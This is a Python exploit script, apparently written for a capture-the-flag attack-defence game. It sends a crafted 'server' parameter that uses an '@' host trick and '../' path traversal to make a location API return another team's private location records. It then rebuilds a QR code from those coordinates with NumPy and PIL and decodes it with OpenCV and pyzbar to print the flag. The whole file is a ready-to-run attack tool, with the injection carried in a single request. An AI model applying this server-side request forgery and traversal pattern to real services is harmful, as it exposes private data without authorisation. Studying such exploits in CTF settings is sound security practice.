full_exploit.py

import cv2
from pyzbar.pyzbar import decode
from PIL import Image
import numpy as np
import math
import requests
import sys

if len(sys.argv) < 4:
    print(f"USAGE: {sys.argv[0]} <ip> <port> <flagid>")
    exit()

EPSILON = 10e-5
DEBUG = False

IP = sys.argv[1]
PORT = sys.argv[2]
FLAGID = sys.argv[3]
NETLOC = f"http://{IP}:{PORT}"


def exploit_retrieve_data():
    url = NETLOC + "/api/locations?server="
    exploit = f"private_loc:4242\@public_loc:4242/../../location/{FLAGID}?comment="

    url = url + exploit
    r = requests.get(url)

    return r.json()


def locations_to_bitmap(locations):
    qr_locations = __lob_filter_qr_locations(locations)

    base_lat, base_lon, shift_lat, shift_lon = __lob_boundaries(
        qr_locations)

    bitmap_width, bitmap_height = __lob_bitmap_dimensions(
        qr_locations, shift_lat, shift_lon)

    # Build it
    bitmap = np.zeros((bitmap_height, bitmap_width), dtype=int)

    # fill bitmap
    # ---------------
    # inefficient way of doing it
    for i in range(bitmap_height):
        for j in range(bitmap_width):
            lat = base_lat + i * shift_lat
            lon = base_lon + j * shift_lon

            for loc in qr_locations:
                if abs(lat - loc["lat"]) < EPSILON and abs(lon - loc["lon"]) < EPSILON:
                    bitmap[i][j] = 1
                    break

    # TODO make an efficient alternativ
    # sort values, so checking if point exists is easier
    # qr_locations = sorted(qr_locations, key=lambda x: (-x['lat'], x['lon']))

    return bitmap


def __lob_filter_qr_locations(locations):
    timestamps = set([loc["timestamp"] for loc in locations])
    timestamps = list(timestamps)

    relevant_timestamp = min(timestamps)

    if DEBUG:
        print("TIMESTAMPS:", timestamps)
        print("QR_TIME:", relevant_timestamp)

    return [loc for loc in locations if loc["timestamp"]
            == relevant_timestamp]


def __lob_boundaries(locations):
    # GET TOP LEFT CORNER -> base lat, lon
    lons = list(set([loc["lon"] for loc in locations]))
    lats = list(set([loc["lat"] for loc in locations]))

    base_lat = max(lats)
    base_lon = min(lons)

    # GET RIGHT NEIGHBOUR -> step lat, lon

    top_row = list([loc for loc in locations
                    if abs(loc["lat"] - base_lat) < EPSILON])
    top_row_lon = list([loc["lon"] for loc in top_row])
    top_row_lon = sorted(top_row_lon)

    shift_lon = top_row_lon[1] - top_row_lon[0]
    shift_lat = -shift_lon

    if DEBUG:
        print("BASE LAT", base_lat)
        print("BASE LON", base_lon)
        print("SHIFT SIZE", shift_lat, shift_lon)

    return base_lat, base_lon, shift_lat, shift_lon


def __lob_bitmap_dimensions(locations, shift_lat, shift_lon):
    lons = list([loc["lon"] for loc in locations])
    lons = sorted(lons)

    if DEBUG:
        print(lons, shift_lon)
        print((lons[-1] - lons[0]))

    bitmap_width = math.ceil((lons[-1] - lons[0]) / shift_lon)

    lats = list([loc["lat"] for loc in locations])
    lats = sorted(lats)

    bitmap_height = abs(
        math.ceil(
            (lats[0] - lats[-1]) / shift_lat)
    )

    if DEBUG:
        print("BITMAP WIDTH", bitmap_width)
        print("BITMAP HEIGHT", bitmap_height)
    return bitmap_width, bitmap_height


def bitmap_to_qr(bitmap, show=False):
    # Convert the bitmap to a NumPy array
    # inverte the values and scale it
    pixels = (1-np.array(bitmap)) * 255
    image = Image.fromarray(pixels.astype('uint8'), 'L')

    # Get the original dimensions
    original_width, original_height = image.size

    # Calculate new dimensions: each pixel will become a 4x4 block
    new_width = original_width * 16
    new_height = original_height * 16

    # Resize the image to the new dimensions
    enlarged_image = image.resize((new_width, new_height), Image.NEAREST)

    if show:
        enlarged_image.show()  # Show the image in a standard image viewer

    return enlarged_image


def rotate_image(image, angle):
    """Rotate the image by the specified angle."""
    (h, w) = image.shape[:2]
    center = (w // 2, h // 2)

    # Perform the rotation
    matrix = cv2.getRotationMatrix2D(center, angle, 1.0)
    rotated = cv2.warpAffine(image, matrix, (w, h))
    return rotated


def decode_qr_code_opencv(image_path):
    image = cv2.imread(image_path, 0)  # Read image in grayscale

    # Try to decode the original image
    barcodes = decode(image)

    # If a barcode is found, print it and return
    if barcodes:

        if DEBUG:
            print(f"Decoded QR code(s) in original orientation: {barcodes}")
        return barcodes[0].data

    # Try rotating the image by 90, 180, 270 degrees and decoding again
    for angle in [90, 180, 270]:
        rotated_image = rotate_image(image, angle)
        barcodes = decode(rotated_image)

        if barcodes:
            if DEBUG:
                print(
                    f"Decoded QR code(s) after rotating {angle} degrees")
            return barcodes[0].data

    print("[ERROR]: QR code could not be decoded in any orientation.")
    exit(1)


if __name__ == "__main__":
    locations = exploit_retrieve_data()
    bitmap = locations_to_bitmap(locations)
    qr_image = bitmap_to_qr(bitmap)

    qr_image.save("tmp.png")
    flag = decode_qr_code_opencv("tmp.png")
    print(flag)